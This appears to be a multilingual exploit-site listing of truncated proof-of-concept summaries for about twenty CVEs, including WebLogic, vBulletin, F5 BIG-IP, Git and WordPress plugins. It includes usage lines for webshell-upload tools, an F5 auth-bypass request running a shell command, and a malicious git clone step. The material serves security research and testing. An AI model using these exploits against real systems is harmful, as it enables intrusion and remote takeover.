CVE-2024-9162

CVE-2024-9162 All-in-One WP Migration and Backup SELECT optionname,optionvalue FROM wpoptions WHERE optionname='ai1wmsecretkey'; +------------------+--------------+ | optionname | optionvalue | +------------------+--------------+ | ai1wmsecretkey | PwrqqK3UHQJo | +------------------+-------------...

CVE-2020-14882

WebLogic RCE 취약점 - CVE-2020-14882 소개 CVE-2020-14882는 Oracle WebLogic Server의 Console 구성 요소에 있는 원격 코드 실행RCE 취약점입니다. 이 인증 전 취약점은 공격 복잡도가 '낮음'으로 평가되었으며 Oracle에 의해 '쉽게 악용 가능'한 것으로 강조되어 CVSSv3 점수 9.8의 심각도 등급을 받았습니다. 성공적으로 악용될 경우, 인증되지 않은 공격자가 HTTP를 통해 Oracle WebLogic 서버를 손상시키고 호스트에 대한 완전한 제어권을 얻을 수...

CVE-2025-48827

설명: PHP 8.1을 사용하는 Vbullettin 5.0.0 - 5.7.5 및 6.0.0 - 6.0.3 버전을 위한 RCE 기능: 멀티 스레드 파일로부터 여러 대상 읽기 Vbulletin 웹사이트 탐지 취약점 확인, 성공 시 PHP 웹쉘 업로드 사용 방법 상세: usage: CVE-2025-48827.py -h --url URL --list LIST --threads THREADS --timeout TIMEOUT vBulletin 대상에서 쉘을 식별하고 업로드합니다. 선택적 인수: -h, --help 이 도움말 메시지를 표시...

CVE-2025-26892

CVE-2025-26892 – WordPress Celestial Aura 테마 = 2.2 임의 파일 업로드 인증됨 📄 설명 WordPress Celestial Aura 테마dkszone 개발 버전 2.2 이하에 무제한 파일 업로드 취약점이 존재합니다. 낮은 권한의 인증된 사용자가 테마의 관리자 패널을 통해 임의의 PHP 파일을 업로드할 수 있으며, 이는 원격 코드 실행RCE으로 이어질 수 있습니다. 영향을 받는 테마: Celestial Aura 영향을 받는 버전: ≤ 2.2 취약한 파일:...

CVE-2018-11235

CVE-2018-11235 RCE脆弱性 "git clone --recurse-submodule" を実行する際の（CVE-2018-11235 ）...

CVE-2025-6058

🚨 CVE-2025-6058 — Exploit de Carga de Archivos No Autenticado en WordPress WPBookit ≤ 1.0.4 Exploit de Carga Arbitraria de Archivos No Autenticado dirigido al Plugin WPBookit de WordPress ≤ 1.0.4 El exploit permite la carga remota de shell y la ejecución completa de comandos. Autor: 0xgh057r3c0n ...

HuaWei_Route_HG532_RCE_CVE-2017-17215

HuaWeiRouteHG532RCECVE-2017-17215 POCsuite 및 goland로 구현한 Huawei HG532 라우터 명령 주입 CVE-2017-17215 POC goland 구현 POCsuite 구현 작성 방법과 코드는 다음 링크를 참조하세요: https://blog.csdn.net/qq41490561/article/details/127659604...

git_rce

CVE-2024-32002 PoC 1. 다음과 같이 git의 심볼릭 링크 옵션을 설정해야 합니다: root@kitploit: git config --global core.symlinks true 2. 그런 다음 다음 명령으로 CVE-2024-32002를 악용합니다: root@kitploit: git clone --recursive https://github.com/EQSTSeminar/gitrce.git 공격 시나리오 kali192.168.216.129 --원격 저장소 주소 전달-- Win192.168.216.130...

CVE-2021-22911

CVE-2021-22911 Rocket Chat 3.12.1 における認証前のブラインド NoSQL インジェクションによるリモートコード実行 getPasswordPolicy メソッドは NoSQL インジェクション攻撃に対して脆弱であり、認証/認可を必要としません。パスワードリセットトークンを漏洩させることでアカウントを乗っ取るために使用される可能性があります。管理者アカウントを乗っ取るとリモートコード実行につながります。 説明 1. ユーザーアカウントの乗っ取り 認証なし getPasswordPolicy エンドポイントのパスワードリセットの token パラメータに...

Apache-Struts-0Day-Exploit

Apache-Struts-0Day-Exploit Apache Struts で発見された重大なリモートコード実行脆弱性（CVE-2018-11776）。 インストール git clone https://github.com/LightC0der/Apache-Struts-0Day-Exploit/ 使用法: python ApacheStruts.py URL : www.example.com/ シェル : 「コマンド」 例: ls, dir, whoami...

CVE-2021-32159

..| CSRFtoCommandInjection1 |.. 설명 : 사이트 간 요청 위조CSRF 공격을 악용하여 Webmin의 업로드 및 다운로드 기능을 통해 명령 주입Command Injection을 얻습니다. 테스트 버전 : Webmin 1.973 GitHub 최신 버전 07/03/2021 공격 유형: 원격 영향 : 명령 실행 eXploit's C0de POC : 제품 공급업체 : https://www.webmin.com 추가 정보 :...

cve-2018-15133

POC - CVE-2018-15133 Использование: root@kitploit: $ ./CVE-2018-15133 -h Usage: ./CVE-2018-15133 options Options: -APIKEY string API key del sitio web de Laravel, codificada en base64 -URL string URL del sitio web de Laravel a atacar -command string Comando a ejecutar en el sitio web vulnerable; ...

CVE-2025-22604-Cacti-RCE

CVE-2025-22604-Cacti-RCE...

CVE-2024-7120

Raisecom デバイス コマンドインジェクション CVE-2024-7120 概念実証! 概要 RAISECOM Gateway デバイス（モデル MSG1200、MSG2100E、MSG2200、MSG2300）においてコマンドインジェクションの脆弱性が確認されました。この脆弱性により、リモートの攻撃者が Web インターフェースを介してシステム上で任意のコマンドを実行できます。問題は listbaseconfig.php スクリプト内、特に template パラメータにあり、インターネット上の 25,112 台以上のデバイスに影響を及ぼします。 ✔ FOFA :...

CVE-2022-1388_PoC

F5 BIG-IP RCE エクスプロイト CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl コマンドライン: root@kitploit: $ curl -i -s -k -X $'POST' \ ...

Writing-Sample-1

Log4j: CVE-2021-44228 Log4j 취약점 및 완화 조치 요약 목차 1. 요약 2. 취약한 엔드포인트 및 서비스 식별 3. 완화 조치 A. 경계Border에서 차단 B. 서버 엔드포인트에 엔드포인트 탐지 및 대응EDR 설치 C. 취약한 엔터프라이즈 애플리케이션을 F5 뒤에 배치 4. 리소스 및 추가 자료 요약 Log4j는 많은 Java 기반 애플리케이션에서 사용되는 로깅 도구입니다. 2021년 12월, Apache는 로깅 구성 파일을 수정할 권한이 있는 공격자가 악성 코드를 구성하고 실행할 수 있는 원격 코드...

CVE-2023-4636

CVE-2023-4636 limelight의 취약점은 Imagick을 통한 이미지 처리 중 파일 경로에 대한 통제가 불충분하여 발생하는 인증되지 않은 원격 코드 실행RCE 문제입니다. 이로 인해 공격자가 FTP를 통해 파일을 제공할 수 있게 되어 로컬 파일 포함 및 원격 코드 실행이 가능해집니다. 이러한 조건에서 공격자는 패치되지 않은 모든 WordPress 사이트를 장악할 수 있습니다. 스크린샷 요구 사항 Python3.7+ 지원 운영체제 리눅서 윈게이즈 시작하기 root@kitploit: $ git clone...

CVE-2024-7954

CVE-2024-7954 - SPIP 4.2.8 リモートコマンド実行 RCE エクスプロイト このスクリプトは、SPIP バージョン 4.2.8 の porteplumeprevisu エンドポイントを介したリモートコード実行の脆弱性を悪用します。この脆弱性により、認証されていない攻撃者が、細工された画像タグのプレビューレンダリングを通じて PHP コードを注入できるようになります。 CVE ID: CVE-2024-7954 コンポーネント: SPIP CMS porteplumeprevisu 影響: 認証されていないリモートコマンド実行 重大度: 重要 エクスプロイトの機能...

CVE-2021-45010

CVE-2021-45010 익스플로잇 제목: Tiny File Manager 2.4.6 인증됨 원격 코드 실행 날짜: 2023년 3월 4일 익스플로잇 작성자: Syd Software 링크: https://github.com/prasathmani/tinyfilemanager 버전: Tiny File Manager = 2.4.3 테스트 환경: Parrot OS 20.04 CVE : CVE-2021-45010 참조:...

CVE-2025-8110

CVE-2025-8110 — Gogs RCE PoC Silentium / HackTheBox 면책 조항: 이 도구는 교육 목적과 승인된 침투 테스트 용도로만 제작되었습니다. 명시적인 테스트 허가를 받은 시스템에만 사용하십시오. 이것은 zAbuQasem/gogs-CVE-2025-8110의 수정 버전으로, HackTheBox의 Silentium 머신에서 작동하도록 조정되었습니다. 원본 PoC는 Silentium의 특정 Gogs 구성 및 인증 흐름을 처리하기 위한 수정이 필요했습니다. 취약점 CVE-2025-8110 는 자체 호스팅...